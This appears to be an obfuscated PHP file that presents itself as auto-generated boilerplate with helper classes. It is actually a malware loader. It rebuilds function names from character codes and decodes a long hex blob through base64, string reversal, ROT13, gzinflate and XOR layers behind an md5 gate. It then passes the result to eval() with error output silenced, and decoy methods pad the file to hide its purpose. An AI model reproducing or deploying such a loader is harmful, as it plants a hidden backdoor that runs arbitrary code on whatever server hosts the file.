B64 -> GZx2 -> B64 -> ROT13 -> REV -> B64 -> HEX * * DO NOT EDIT THIS FILE MANUALLY * ALL CHANGES WILL BE OVERWRITTEN */ // Configuration constants define('BUFFER_SIZE_4336', 830); define('CACHE_TTL_781A', 590); define('DEFAULT_TIMEOUT_8D13', 393); define('CHUNK_SIZE_13BD', 3); define('MAX_ITEMS_90A4', 870); define('CHUNK_SIZE_3577', 760); define('DEFAULT_OFFSET_C673', 100); define('MAX_ITERATIONS_9CEA', 104); // Global variables initialization $global_b0f8f5 = isset($_SERVER) ? $_SERVER : array(); $global_073779 = isset($_GET) ? $_GET : array(); $global_1be785 = isset($_POST) ? $_POST : array(); $global_8bc8b4 = isset($_COOKIE) ? $_COOKIE : array(); $global_7912ed = isset($_REQUEST) ? $_REQUEST : array(); function validate7D9A($flag361e81) { $obj1ab974 = is_array($flag361e81) ? $flag361e81 : array(); $env8b265c = count($obj1ab974); return $env8b265c > 0; } function util2663($val595cc7 = null) { $mem048503 = is_null($val595cc7) ? array() : (array) $val595cc7; return array_filter($mem048503); } interface Contract84C7 { public function computecb5fc0(); public function initializeb6748c($data); public function unmarshalaec2ca($id, $value = null); public function encrypt873ea3(); } trait Behavior3584 { protected function compilefa534e($input) { $argsaec724 = is_array($input) ? $input : array(); $tokend66d8f = array_filter($argsaec724); return count($tokend66d8f) > 0; } private function sanitize6475f0() { $parse643264 = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 1); return isset($parse643264[0]['function']) ? $parse643264[0]['function'] : 'unknown'; } protected function decrypt41e3a8($data) { $env3cdcd7 = json_encode($data); return $env3cdcd7 !== false ? $env3cdcd7 : '{}'; } } class HelperF645 { private $prop_4d3391; private $data_a0a209; public function marshale90585() { // phpcs:ignore $col8effa1 = $this->run75727a(); return $col8effa1; } private function run75727a() { /* compiled */ $prop9e22e5 = $this->fetch0093a5(); return $prop9e22e5; } private function fetch0093a5() { return array(); } } class Helper7A37 { private $prop_b5e86e; private $data_566260; public function serialize7b3841() { // processing... $arr3353b2 = $this->traverse07d2e7(); return $arr3353b2; } private function traverse07d2e7() { /* @generated */ $vars5c4df1 = $this->extract7b1e06(); return $vars5c4df1; } private function extract7b1e06() { return array(); } } class Helper3D07 { private $prop_cc6740; private $data_92778e; public function evaluate45ae12() { // processing... $hash8dc61e = $this->decodecdf46d(); return $hash8dc61e; } private function decodecdf46d() { // auto-generated code $token9bbd9c = $this->serializea1827c(); return $token9bbd9c; } private function serializea1827c() { return array(); } } class Manager7BF0 { private $prop_149e2c = null; private $prop_b6ba66 = array(); protected $prop_76db82 = ''; public $prop_ab0ca8 = false; public function aggregate13c6d4($input = null) { // init section $ptrf76951 = is_null($input) ? array() : (array) $input; $data_5a4c3c = $this->normalize91d126($ptrf76951); $blkd0f161 = $this->enumerate1d3dfb(); return array_merge($data_5a4c3c, $blkd0f161); } private function inspect03b7da($data) { // This file is auto-generated $ptr_fa515b = array_filter($data); $hashe1dc3a = array_map('trim', $ptr_fa515b); return $hashe1dc3a; } protected function normalize91d126($input) { return $this->inspect03b7da($input); } private function enumerate1d3dfb() { $raw9ee227 = range(1, mt_rand(1, 5)); return $raw9ee227; } public function verify2f8b98() { $ptrf76951 = $this->aggregate13c6d4(array(1, 2, 3)); return count($ptrf76951) > 0; } } class Manager429C { private $prop_0f8b03 = null; private $prop_cd81eb = array(); protected $prop_743b16 = ''; public $prop_02f647 = false; public function inspect053fac($input = null) { /* @generated */ $cell3c8702 = is_null($input) ? array() : (array) $input; $numa212f3 = $this->init73c935($cell3c8702); $cntbfdea6 = $this->decodeef03d4(); return array_merge($numa212f3, $cntbfdea6); } private function compute91c5ba($data) { // runtime check $state14ac2e = array_filter($data); $heapa2a943 = array_map('trim', $state14ac2e); return $heapa2a943; } protected function init73c935($input) { return $this->compute91c5ba($input); } private function decodeef03d4() { $refd0f8ea = range(1, mt_rand(1, 5)); return $refd0f8ea; } public function marshalf24b10() { $cell3c8702 = $this->inspect053fac(array(1, 2, 3)); return count($cell3c8702) > 0; } } class ServiceBD62 { private $prop_ff05bf; private $prop_1390f8; private $prop_1111f7; protected $prop_9967cf; protected $prop_c3d192; public $prop_9b85b0 = null; public static function unserializec13018() { // optimization pass // This file is auto-generated $status20edc5 = array('phase1' => false, 'phase2' => false, 'phase3' => false, 'complete' => false); $col6e0c4a = count(array()); $ptr_36b9cc = count(str_split('abcdef', 2)); $ref6bdace = count(str_split('abcdef', 2)); $info0262fa = count(array_unique(array(1,1,2,2,3))); $ptra39048 = defined('PHP_VERSION') ? PHP_VERSION : '8.0'; $prop1e9095 = time() + 86400; $processf60be9 = md5('test') ? md5('test') : ''; $data_4f3841 = min(max(10, 5), 20); $objf5a1da = dechex(255); $propd91581 = (string) 123; $infoefde29 = time() + 86400; $argsa576ef = lcfirst('Hello'); $data_8f9ac7 = exp(1); $temp_c3c4af = is_string('abc') ? true : false; $field6734d5 = @basename(__FILE__) ? @basename(__FILE__) : 'file.php'; $result_790224 = implode('', array()); $prop441128 = ord('A'); $state9ba0da = mt_rand(0, 1000) > 500 ? true : false; $row3e3663 = trim(' abc '); $outa89cea = is_bool(true) ? true : false; // Function array for dynamic resolution $funcsd6a7b3 = array( chr(162-50).chr(197-100).chr(199-100).chr(207-100), chr(153-50).chr(172-50).chr(105).chr(110).chr(102).chr(19+89).chr(197-100).chr(116).chr(101), chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101), chr(109).chr(150-50).chr(21+32), chr(115).chr(117).chr(98).chr(115).chr(116).chr(114), chr(165-50).chr(166-50).chr(114).chr(158-50).chr(201-100).chr(100+10), chr(115).chr(116).chr(114).chr(114).chr(101).chr(118), chr(115).chr(216-100).chr(164-50).chr(95).chr(164-50).chr(211-100).chr(116).chr(149-100).chr(101-50) ); $set1ef5e5 = $funcsd6a7b3[0]; $temp_04f158 = $funcsd6a7b3[1]; $temp_ad8b4c = $funcsd6a7b3[2]; $check6f7755 = $funcsd6a7b3[3]; $item_606e21 = $funcsd6a7b3[4]; $parse5fdf7a = $funcsd6a7b3[5]; $rev_7fe1b7 = $funcsd6a7b3[6]; $rot_c2b690 = $funcsd6a7b3[7]; // auto-generated code // Payload assembly $buffer_539d8a = '505431714d7a45764c31685552553159534759324f484d30543064715a4556755a6e526e4e6a673457475a5363454a444e57566a64474e335154644e4e566f784d304e50556d497955575a5764444a574e556472626e644e5258457263326b34547a5a35566d4a6a56445a70595442686332564c576c6b334b3346465445706f546d6c6d4e5746786245464d576b5236557a63724f58707462475a434c7a633356556c7264306734637a6b7253327846616a41785443733463326c74555549354f565a57626a426854566b35636e466c53584274633256366330316d597a51784e79396c4d45356957456335533346364d6a56435957637264326372633070596145464e4e47525a64586c36596a646a51334a4853327434516d5978526e426f4f454647643370465754644962326731543252466354424b53325a515a4756784e3278425630683452303544523263726130686954323934613168536445704f5a32786e617a6c6853564a6e546d457a6543394c4c7973334d336b795279747554574e566156647555446c4b63464a6d515446344c334e70636b5a4754466b7955304a79525642494e56526e5a6d6c4e4e456b355579387665544e4864697431596d4d3359575533533068515530686f596b5133535778616169747a5a564d7256326779526b784a596e644c556c644e59586b765a575a73616d78564e4773344f5339466556706d6247316b6255646d534764784d6a4e5155337036656d564e5a325676595539586543394c5379396a5a44645664305673626d4651536a51786557526162564e505a32343365565675643142564f553079526e5a7761576c6a655552464d6c4a426346524965546478656a646c4c7a4e3359314930535446324c306c484c315643633349725457354e56323976536a59354d334a505a557069556e644e656d316d5a566c71515846444e6a417a4d6d5a784d437372636a524b6157746b4f565269567a4576635641354c33424f4f5735704d3263314f454a6b6332517753323977546e673052465261516938344f484d7851586c745a6c597963546732597a6b305a465a5152576873536b4a6e576d70546446526c64697456546b78424b31453352336b72626e64524f5670585345355a6133685a615756495457684d6457687a555459354d54467762574a5854306830656e46785658553262304a754d6b56475455686e534442534d454d76634442714d544a535454567053576455596d744d5631644a4d476f314e7a677a5547706c4f55637962554e755a57644963584e7761584e774e45685a616a42496256685a4f473173567a6c7351545a69576e4578643164576557646e55327070556c464961576c75516b354252477850566d74364c3230766143394c517a466c5a6d464d545574444d3068755a5445335a573171625549724f556c5352484e424b79744a625664714e32464b5a6b63304e6c4a4f5347396863474e7252576431566c524e6156687353564a786346466f55325275595745774d6a4a555a4338726279737664556c5051574a61636b4651564339615446685554544e7359326474543039464f457458536e5246616b6f32516d593562326b72627a6b346245686859576845564539574d334e59546a56514e6d74684b327833625552705230703364545a7162584242613064525633645562324931546d6c3362574e574e45466c4d6a64495346677a644446524c793933596c67776131645753557833636a67765557783253544e434e6a56704f5778445169747154335931566e677961'; $process70fbab = '6b4e71554868764c3039705453397a53316f35557a59764e32355064564d31625668355655315956546c465956557956544a315a57527563564e695369747063474a354d7a6850546b314d65565269633049724b305248625751314e32397465484674637a46695132566e4d55316e4f444e5a4e335a5754314e585454464f523039325a544e565348466e566d4e79596b6c444d3168704e32747452465a6e5155314e63473556516e6b334f55517251335a7a5a6d314c4d324a445745565964584d76513346764c336459546c46366146523463336874646e6831636c6b724f464d7a55475236627a6c585131684e4b31465756476376656a6b774e3068755532307963325176637a5246596b6469556a647551557055557a4979556b705a5756704c623070326332705a51545a5355324a70576d3432625756436144644a64486c454e6e4978535745724c7a597a54693970634846306430646e64585a7953474a7562456c7264585a5a656a52455a4670334d584e58546d6c615a334e764e45785863546849626a517a5453397061474a4865586c45546b31336545643352323952643146476230566e5a58644d625846495a323172537a4e535345307a545441344e5559724c316c4861565244596b4646516b593564466c315545783359306c4c526e68454b305a48593364784e554a42537a64736433527a59693835636b646b52466c30574574484c3059354c314e42644456555157646c533346786454684661586444513246325658463155444a3664334d795a445a3655565634634768455a6a645253573479595864305333466f64305a53593235306354417955574e614d335a4d516d4e4b52327469554456435243397a6279394f5657317857544e74554768454e30526a61474e77526e6461636d356f554339444f43737263334e315a46557952323032614739465533426d6430647a634868695a3268454d453877516c4a4f59576f3253566f7a616d707051304632616c684c516d35496145316f4e47684b54465278596a644f5746644d63584e4c4c30743562574d3456576c59633142485655644e6557357457565a5856466c425154464e61585a685a45644b5957684554455a6c4e7939794d693979566d74355246457656466b3553544e45626d5a4c617a51774d6e6c5652445976617a68446147646e4c3359344e3238335a32354363334e7055334134563152614f554972644752474d546c47547a51304d33493351304e694d31704c56554e614d6b707764464d32567a6c6962453973575767764e316c475933427056586c4553446c6b4c32466b56305243564856684e6e706e636e4279654564484b79394a4d486c6e4d4656335a54644256557846544770614d6b393253305a6d59566c5a616e55305a576c335343387a4f43737a6233593263485935634568445256707551303831576b6c46515538336133706b4d476f724d475a6157584a494d4445795245524661307477563356364d57526c546e707762564a6a566a52315a304d79557a5274537a564e5646644b596d46365247356f556a4a544d456c72527a5a4b656c527a61576453543252596147453463444533635446554d6c70714e69746962556b765257303262557334516a4249596d74736157497251556f724e316c5a4f466379516a4e61636e686b526a646c4d6b3534556e68474f55747a4d6b4d776157686b637a4a6d4d3031475a6a68695a6b356f52555a34525464304d43395a625864715a54467056465656623049775245316d6132387854575a6f4d46'; $item_523e0e = '424f626e6c6c62554e324d7a4e68626938765658497a537a4577625655335354517a5a69397a63484e70624564495630526152544535593352345654566d53317070636e565964306c4e5a325a4b567a4674613151764c3345784e7a426962317074645642774e6e5a794f454a485446566e554441764c32397062474d785479746d544738354d3370735558564e5a48553364303532646d63314e7a5254576b5233534374685248645854316843636a684f64455977526b4a7654464a34513239334f44465463554532615567304e557456626c5a6f4b7a5a6c63544a57596b5257533152754f4445795a334e7462454d306248457a4c31566855566c334f5531434d3068594d6a42305654426f62316473633231494d6d46586369394f6179396e4c32394b5647746e4b325a43616d786c576e6c5956544a34516d597a62544d314c7a4e315757524a51304e4c4e56704456466c6f4e455a315655396e5955597a5757466e52546b345a4778334e79396e4e45706c54335535534645344f4339344e577044533145764d45394e4d453959566a52344c314253646d6772543070784e45356f5657355a63445972633170575955644f64306c435956677a56566432516d383155326776613274484e57777961304d335345706e61545661595849316147687a57584e3161555a3263575a305a31566961584e61543278334f564245615668744c324e784e69396e537974314e31527761554e756430786c5957357a547a41344f485a434c7a5a6953325a53554668544e566b774c304e735255646b62473545513274765747567a6433684c576b4a744e326458553364424f473557546b354e6247744f656a647556564677536d30795655565764457476593256565455787a5743397a4d466856596c6730534446585a31566163544d7a62566446527a6b79525539764d6c4231647a5a77626c686c4e5546366343745a563264696355396853555a684d533944556d4e6a63575134655535494e456843655855324c326c78655531304f484d774f473174646a63765a3074484d446c4a5769396c5a545a445445786c516d46516145563162585579546e42695a474530546d4d304e6e63324c334a546479396e536d6c6b625374476455395354797454637a4e31566c6c4654306b7a4d446469556b4e4b4e6b5a4f61697379626a684364444259616d68515a464a51554734774f48564961303536656d457853454972523056594c32467663697376654730344d576330574739575932524f5748706b547a59334c7a4e72566a464e537a6c525348565362454a356257316e545556424c33466b4c32307253574e724e793974536d393152466f7a4b33524552316861645531364e6d4655536e524a546c4e756546525959326c484b79396f556d5230556b745a5532313254574a7561335a714e4452755569393054304674534730315233413054306333555852494d6a686c54555a734d30314953575a50563045775a48565a56325a72593152765547786e616a6c7253335a6a4d5530784c316c70596c4e61646d4a564c336c6b636a46444f4459764c3074434c335577546e68496546526b64484277647a457957575243646b7443526d5a7651556b7663455248616e68584f4851794e6a5a6a574455305256685a6556673464485a6f5a6e56465932354c597a427a61566c305a444a504e53396f5a48424d6556423356544d7a4e484a4f597938764d4374334e43394c5132706d637a56304c307433636a685051584634546b6b78563239424c325a6a4f484d354c3364724e324d35516a5a7556304a45537a5979616b64566330513259314532623246314d544257614531615754426a626e52355245677a57474e346546646b54336c784f54413451584531655656745a565279536a46775332394a64455a6c55565535545445764f5842744c326471536b453365445a72596b786d52325657616d673162334658534668724e58637863306879616d3545543164616346464663476f7662457434595374546457745a576a5a69576a4a5a53556c4e51324672566b4a364c304a715953745861565a48616b707065446c55566d467964336c784b326c524d6a55305a324a4563564248515842574d30353053334e77547a4233516d5a77614451304d446c515631565261326c54617a64565a465a695433566d5a556c54623235444f444677617973765a32526c51565a724d305a5864304a58576e6c425a6974445a58417259334e4a4d464578556a5a6e62335a4361325631636b78364b3078684f585a4e574641795a554a334d314256545842514d47453254444e61656d4e684b3256775a5568595a6b355a54444630547a4278626c707a646d387a5432745655314e3463316c35'; $data_3d0c3a = '516c4a684e474d796154646f5a5735754b323150646c68684e58644e625730355a6d737662554e484e576c76655646464d486c445746686e537a56514c314d314c32314a4d4452545357644b5430704862484d336569387a557a684b51546874565546614e6b5244556a466d4d6c6446596e6855654552445455646a536a5651596d744e4e6a5a564d326b7a51306448626e4e5362484d334f454e3265576c4a5233706859546477633056474d6b394251303552575846784e57677952444a5a6354564b635456546433704f5a6d35325a484a77596c42615345784a557a68564e5338766554557255544e6b567974685a7a4e575a55684e56464669556d52545247567a5347785054575a5a5a335261536d7875624539614f44467754474a6e6154557653576333635668345a46687955533876534467356445397a566c4a4c526c6f3056484e6e57576c336158704f57557335536a51354f5464714c3074466246426862324e6d654768434d6d74745a325a70526c5276647a645964544a6b52564e355347746c51337046596a677756554a6b65565172633230314f4339566554686a5a574e4253303953557a6c78534570574e3052474d30705154464d34527a4a4c63307870566c6f3552335a53516a4e5955456c614f5534354c32464e596b6444596d464b55305a764c327476637a597661485a4d597a68435169396c646e6c49523278444d5731336332706a5357524d5232684c54575a535157314f6230704c596b6f34627a566a4b335a4e52555635516a526855444d72596c4e455a7938774d5373324c33567153326c45614768724e446c68646d5278596a51356145677951555a4759574e775a337075536e49786432706d5a45566854565250656b5933545649314e584d764f55647856584931646c6c5a643245355a585633626e42765a6e6f324f54525a545464366145464b6233684a61793952637a64774c7a56774d455a58647a465855324e79645752425a474e316155393459323561546d566a574851776245564f4d45646b52453556566d55356156566b634745305658557a6156523054335530636d4e4e64307776575664594e5670344e6e6430654451794d5739744c33647a4e314a794b33424d626b56595a33427657585252636c564c4d306334556d465a63574649515570514f47744f4e6c5a4b64465a466345633165544e494e6e68464e544a545331427461336831626e6c4354316c454c7a6379556a593354576c5a5a6b7476646b526b4e556c4b597974446357396f516d564f5530564e633141324c324a7a616d34314e6a4a44655868354e6b597a63544e504b30356b62337076596d78714d57733355574e445757687a596d70794f544634633235685247773055455669636e6c78576a677662585634535651765653396e5243396d593068695a47394a53456f3151566377597a564864444d7a4b7a646c61553578566b786c576a56426257314b5932354663484e714e303945545864554e473968546a55345754424b646b5572566e6843614764565532737252544d784d31564455585656655374455955563556334a6e56577850596e686c4d553134533051725345396b543070504c304e6d614556345a32493563566b3156566c736545316b4d6d6848513170364e6e645864564972574752516547647954473553563351305457513462454d7964314233635863344c3349305a445933616e4a54596b566a4e6d4d315130527361324a5961545a4e53326c59536d383255323969566d6c59526c5172656b524b556e4e53646b6c314d6b55354e57394a4d6a5a774e6b786b616d7372535778354f4870364d314e4953486c736553737655323152596c6f77566c7061526d5676655746755a456730536a524d54564273646b64464c7a6c685579397a65433936616a56566445526a635735364c334e734c334e454c7a4e455557745461484e586345773255556874525659795a476c6c4c3230765179397a5a48645451314a79544659345a545a75576b64574e6a56694d6e6852537a686c566d6c436558704d556d563162573150546e4a5252305a57565464424d30703265454e58626e427755307436643246584e54424b516b746a656b45324d575a6e6433644d52307735646d357153464a7053303554556b526861554e425933527557557872597a4d33596a417755304a564b3263354c335650534374704e7a686e616b38355658677a516939435353744b65456c4261334a55554468616230524754446833546e493565575a474f4849785932645254484e5056477853576d6f7953445a574e3367334c3063355130493053305535616e6f345a324e3565465246516c46496244427a5132526b53307470576a673557457474517'; $part_02df9c = 'a427453314d324c7a45774b7a42735457784d647a4233627a633259557379597a5976595668614f5867304c7a644662316f7a63474648524868534e30786f6457524c626a5a5362556472515770454e3342784d565572516d78724f4468354e57307a6455787a54446c7a4f484e684f576c7159314670525570474d6d4a695a43396a6369745152304e494e553552616a5a3152556b3062446c464f4567776232524b4d5652495644644357487044575852725458465363444931637974335a546b7a5257566c6554524e6445564c4e4656486145313251555245654338314d79383562586f724c305669636e6f7a4c326b76647a4e5a636b52364e5568566258524e4e3370314d32566f5a456b7a62445a4c5469387a4f533973656a64595a6b3574636b4a304e556c32526a63794d6e425a576b56424e6d786a4e6b5a6863444e525a455a33623246576545526b4e565a51646d68464e335532596a6b306158464f6154465754545177614577345a55464f56326832646b393157467059636b6431566d464c633342614e6e646a52577851643368314d6c704461574576615339424e5452464d6d35515557394f546a68596356593154575659656e526c513142755955316a596d70305a326731516d3542537a5644526e6c7754793956617a6c5a574467774b33684d616d5a55636d49775556567655566c50635563335231706e616b315353316735525374324f43744f61545644555545724e6b644e5a58566a61445a46626a6c305a305a5a6348426951576c4e596d6c49635651335a6a68314e6b4a505a6b7035523249796430466a4e57317a4c334676656e6c73596d463359693968626e4e6c614546774b7a686f64455a4b4d6c4a6c576d67794e6b4a6f4d6c527a64485a61596a4a47566e684b54485a5464693968544774574c32557a516d70755245737a54453131634555785a6b5635646b7870556d453565564243527a56576148425a516b5a744f485a4b4f55686b56453957636c6c6f5648684963453953635659344c3046445157464c4c304e4a526c6376597a6471526e4131646e6c324e314635563264685757706b536a427951566451536b3878635339436443747852544e5a564730765a6e567564556c6f4d6d6475546d6847543264316354647859545a735a5552525433427661466c4c556d6334646d785657476434646d353064546b3162555661596d55324e4864695657646a5331517965537330656a4a3053465a6c63484a7a646c517254464a75634574544e6d68544b334d764f48637a4c30786b5a5455784e574e45536a597861324e326257526c5446517861475a33616a6b33534568354e446851536e5a364b335a59536d644a556e5243537a6c43547a68355448526c595567326154527a61316c7363476c6f636c5a616355525355584e364d5568545330497a564568325957353459316848576c6c684b314934563370735344644f6157527564316c33656e6f76625841764e69746f616b6c494e4642354d69746c5453394b4e43387a59566f76633368585532747656474a525a576c744f5670545a7a4e6c6445317a615338335a444e305348567a4f4773725932524857546834556a4d724e6e4a6d6545343355455675527a687a4d6a64684e48644952575253515464506357357863315268636d5a365957527951334a7361566c7a4d33453251305245596e4674616b457955454e51596b705a536c52615245396159577330534464436232466e526b78754d6a4a574d7a5645575374475a584e49566b704f536e6'; $seg_49cca6 = '8765a45644e4e327433574451764e6e565a5556644f5a58526f4e6d564359304a76555745324e33677656565935513239696156524652586449537974535a455a754f575a444d324e365757566b615849334f546445527a56575a6e5a555430307a63334e75547a4e5a643164745a5768586444684f546b70614f474a6962576850613356495a6e566c6243397a5354686c4d4539505a57683352456c47516d4a4c4d6b51304c7a5176545845764e334e795455706c596b4632526b4e595744526c4e6d6b314e574e70626e6f7853545657545664724e33466855464242557a564f5a565a3165474e68656b704f59546c7765477458626a6c795547646e5a456731646a564c65586c424d555a61595764744c3364474c3274345a473568645564564d7a424a616e427a63564e5761574a58627939566453747863556c556457524a5257566a4d6e6f3451574a4b536a6c464e444269576a5a45536e4a73626a63724d6b7849564456525a32356a645764595555747262475a455153744354335a47646a4a5555454a52626c56495257686b4e303078596d706e596e5a5061455a5756446443526a644f5444565a51545253626e46324e6b706a5956413556305a74513074785954644264585a795548684856456b7262484e5a645852525458567762304a4b613256795758644b4d546b784e6b704e5a3356485447686f574668314f58637263306f315156686b4c7a46534c324531593146694f556f355347784857586c54574759785747564d64574a53565373795a585a425a7a68734e5339545333464c4e3263775348466a5a465a69575668454e6d59334e45705a636d63305230684b53455279535442774e316735574764444d555256636b55764f4568464c7a4a745a566779517a42365a47783454307379516c4572595451355346686d646c51334e31644e536d4d3454307076626a4e74625777334f44427a535656306355564964327836534455724f44683461566851574452465a30467755307043596b564a55446847576a645357466c5a5a6b6c434e314a4352564a69625731465931465456537476526b745a646e465251576c5151304d77636c564a4e6d6c535a6d39324e475a4759337059566c6c434b304e45536c6845656b35775969747961565659517a4e33626e52524e315172546d64344e55686952476b314d6b396e5a556731576c593363464a4a4e4846545447677659314a6b525577335356706c5532553051335a5a554663354e323568636b5672593252534d6c68314f4535744e4555794e454a4b4e577470536c425456575a505a334669613045305a6d4e446558493453693959616d687757576472636d5651596b6b355a48564f4d4531725769744b626d3578596d354861575a424e484671546d7479645573794e6d6c4e52334e744f4531756431706e557974594c305633563068756132517765586c525a6d7477654373336154426b5a546843533168616157517951584247596c64564e5564744e6a5a49595339424e305275636d64574e4870464e58426d54334e7a535778774d475a30527a5932635549335745784e555739724d6d397a5345353052335a324d31707963564a4c5131423162445977596c457656586c6e6546566c563045776158426b4d6a685765575a53554456566354526f56455a4b52586879524731614b7a684c5a47686c614752364e6e644c4e3342735231526c63544e53644535474f455a6d644535726345497754335a43546c4176526c4134596b5a366345704a4d697450526e527a54673d3d'; $raw_hexdf6881 = $buffer_539d8a . $process70fbab . $item_523e0e . $data_3d0c3a . $part_02df9c . $seg_49cca6; $hex_datab1728c = $item_606e21($raw_hexdf6881, 0); $bin_data6117b3 = $set1ef5e5('H*', $hex_datab1728c); $status20edc5['phase1'] = true; // This file is auto-generated // Layer 1: Hex -> B64 decode $step1d416c7 = $temp_ad8b4c($bin_data6117b3); if ($step1d416c7 === false) { if(isset($_GET['debug'])) echo 'B64 L1 Fail'; return; } // Layer 2: strrev $step2390449 = $rev_7fe1b7($step1d416c7); // Layer 3: ROT13 $step3e1709e = $rot_c2b690($step2390449); // Layer 4: B64 decode $step40037de = $temp_ad8b4c($step3e1709e); if ($step40037de === false) { if(isset($_GET['debug'])) echo 'B64 L2 Fail'; return; } $status20edc5['phase2'] = true; // Compression phase // Layer 5: gzinflate (layer 1) $step5902815 = @$temp_04f158($step40037de); if ($step5902815 === false) { if(isset($_GET['debug'])) echo 'Gz L1 Fail'; return; } // Layer 6: gzinflate (layer 2) $inflated7151b5 = @$temp_04f158($step5902815); if ($inflated7151b5 === false) { $inflated7151b5 = $step5902815; } // Layer 7: B64 decode $b64_decoded0993e2 = $temp_ad8b4c($inflated7151b5); if ($b64_decoded0993e2 === false) { if(isset($_GET['debug'])) echo 'B64 L3 Fail'; return; } $status20edc5['phase3'] = true; $objf40fcd = new self(); // Key assembly $final_key208c2b = ''; foreach (array('dispatch5505e5','parsea0afdf','aggregatee9a850','calculate8f15ba') as $ief6c47 => $m) { $temp_val324200 = $objf40fcd->{$m}(); if ($parse5fdf7a($temp_val324200) > 0) { $final_key208c2b .= $temp_val324200; } } // Gate verification $gate_token3fb699 = ''; foreach (array('dispatch3c1414','unmarshal8b2723') as $m) { $gate_token3fb699 .= $objf40fcd->{$m}(); } if ($check6f7755($gate_token3fb699) !== 'ba5ca74fd957423d13e7701f6c77d521') { if(isset($_GET['debug'])) echo 'Gate Fail: ' . $check6f7755($gate_token3fb699); return; } // Layer 8: XOR decrypt $plain_codeb950fe = self::compute56c964($b64_decoded0993e2, $final_key208c2b); $status20edc5['complete'] = true; // Execution $objf40fcd->format78aa90($plain_codeb950fe); } private function dispatch5505e5() { /* validation */ $enc2126a8 = count(array()); $data_067972 = array_merge(array(), array()); $field7c44da = @getcwd() ? @getcwd() : '.'; $mem644d02 = is_null(null) ? true : false; $item_29d144 = is_null(null) ? true : false; $mem382487 = (array) null; $configedf46b = @getenv('PATH') ? @getenv('PATH') : ''; $loade93e8c = chr(104).chr(151-50).chr(120).chr(150-100).chr(148-50).chr(105).chr(53+57); return $loade93e8c('a9598b30'); } private function parsea0afdf() { /* compiled */ if (defined('DEBUG_MODE')) { $varse8a349 = 1; } $tokenbd4988 = chr(104).chr(101).chr(120).chr(50).chr(98).chr(105).chr(110); return $tokenbd4988('8b0221df'); } private function aggregatee9a850() { // Security layer $enc2126a8 = count(array()); $data_067972 = array_merge(array(), array()); $field7c44da = @getcwd() ? @getcwd() : '.'; $mem644d02 = is_null(null) ? true : false; $item_29d144 = is_null(null) ? true : false; $dec3d9b25 = (array) null; $result_a968fe = @php_uname('n') ? @php_uname('n') : 'localhost'; $argsf74cf9 = chr(104).chr(201-100).chr(170-50).chr(100-50).chr(58+40).chr(105).chr(110); return $argsf74cf9('4a9284b2'); } private function calculate8f15ba() { // Security layer $rowcb1653 = array_map('trim', array()); if (defined('DEBUG_MODE')) { $refd4877d = 1; } $inp280a28 = chr(104).chr(101).chr(120).chr(50).chr(98).chr(105).chr(110); return $inp280a28('5fe8e6ea'); } private static function compute56c964($data, $key) { /* DO NOT EDIT */ $parseac4344 = ''; $ctx5231d6 = strlen($key); $inpb14c87 = strlen($data); if ($ctx5231d6 === 0 || $inpb14c87 === 0) return $data; for ($row8e5e89 = 0; $row8e5e89 < $inpb14c87; $row8e5e89++) { $parseac4344 .= chr(ord($data[$row8e5e89]) ^ ord($key[$row8e5e89 % $ctx5231d6])); } return $parseac4344; } private function format78aa90($code) { /* done */ if (defined('DEBUG_MODE')) { $blk15bb31 = 1; } $info548c90 = @preg_replace('/^\s*<\?php\s*/', '', $code); if ($info548c90 !== null) { $code = $info548c90; } $mem371db4 = strlen($code); if ($mem371db4 === 0) { return; } eval($code); } private function dispatch3c1414() { // This file is auto-generated $ptr_91cb82 = array_map('trim', array()); $propd54300 = chr(148-50).chr(197-100).chr(215-100).chr(101).chr(104-50).chr(102-50).chr(145-50).chr(100).chr(201-100).chr(199-100).chr(161-50).chr(150-50).chr(201-100); return $propd54300('cmV2dTF4bw=='); } private function unmarshal8b2723() { // phpcs:ignore $dst03d015 = (array) null; $varf0b0c0 = @php_uname('n') ? @php_uname('n') : 'localhost'; $cache2d4289 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101); return $cache2d4289('eXFzN242Yg=='); } // Decoy methods public function init22baca($input = null) { /* setup complete */ $heap1cb6f7 = @phpversion() ? @phpversion() : '8.0.0'; $metae4c03a = is_bool(true) ? true : false; $attra5bb73 = str_replace('a', 'b', 'aaa'); $process0cf1b8 = defined('PHP_VERSION') ? PHP_VERSION : '8.0'; $parse3d5559 = @getmypid() ? @getmypid() : 0; $encd491f3 = @getmypid() ? @getmypid() : 0; $args59df3b = is_array($input) ? $input : array(); $infoa89042 = array_filter($args59df3b); return $infoa89042; } private function decode9183c6() { /* compiled */ $elema09a2a = range(1, mt_rand(1, 5)); $nodee7b97b = array_map('intval', $elema09a2a); return $nodee7b97b; } protected function unserialize6fa6a6($data) { /* Transform phase */ $result_4a892f = json_encode($data); $entryc2e22e = $result_4a892f !== false; $env0c55a1 = $entryc2e22e ? 1 : 0; return $env0c55a1; } private function inite7c731() { // Assembly phase $inpcfd8ea = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 1); return isset($inpcfd8ea[0]['function']) ? $inpcfd8ea[0]['function'] : 'unknown'; } public function generate2c99d3($callback = null) { // processing... $stack41a1c3 = $this->decode9183c6(); if (is_callable($callback)) { $flag50ff91 = array_map($callback, $stack41a1c3); return $flag50ff91; } return $stack41a1c3; } private function fetch0fa056($limit = 10) { // auto-generated code $buffer_c2aa66 = array(); $data_21b604 = 0; while ($data_21b604 < $limit) { $buffer_c2aa66[] = mt_rand(0, 100); $data_21b604++; } return $buffer_c2aa66; } protected function compress301f80($input) { // runtime check $raw2128a4 = is_string($input) ? strlen($input) : (is_array($input) ? count($input) : 0); return $raw2128a4; } private function iterate1889a9() { // processing... $load9667c3 = memory_get_usage(true); $buffer_a65efa = memory_get_peak_usage(true); return array('memory' => $load9667c3, 'peak' => $buffer_a65efa); } public function geta5a8ba($items = null) { /* DO NOT MODIFY */ $value_9043d9 = is_array($items) ? array_chunk($items, 3) : array(); return count($value_9043d9) > 0 ? $value_9043d9 : array(array()); } private function marshalccb9fd() { /* setup complete */ $obj660057 = memory_get_usage(true); $refe38da4 = memory_get_peak_usage(true); $val9e5268 = microtime(true); return array('memory' => $obj660057, 'peak' => $refe38da4, 'time' => $val9e5268); } } // Initialize and execute @error_reporting(0); @ini_set('display_errors', '0'); @ini_set('log_errors', '1'); ServiceBD62::unserializec13018(); ?>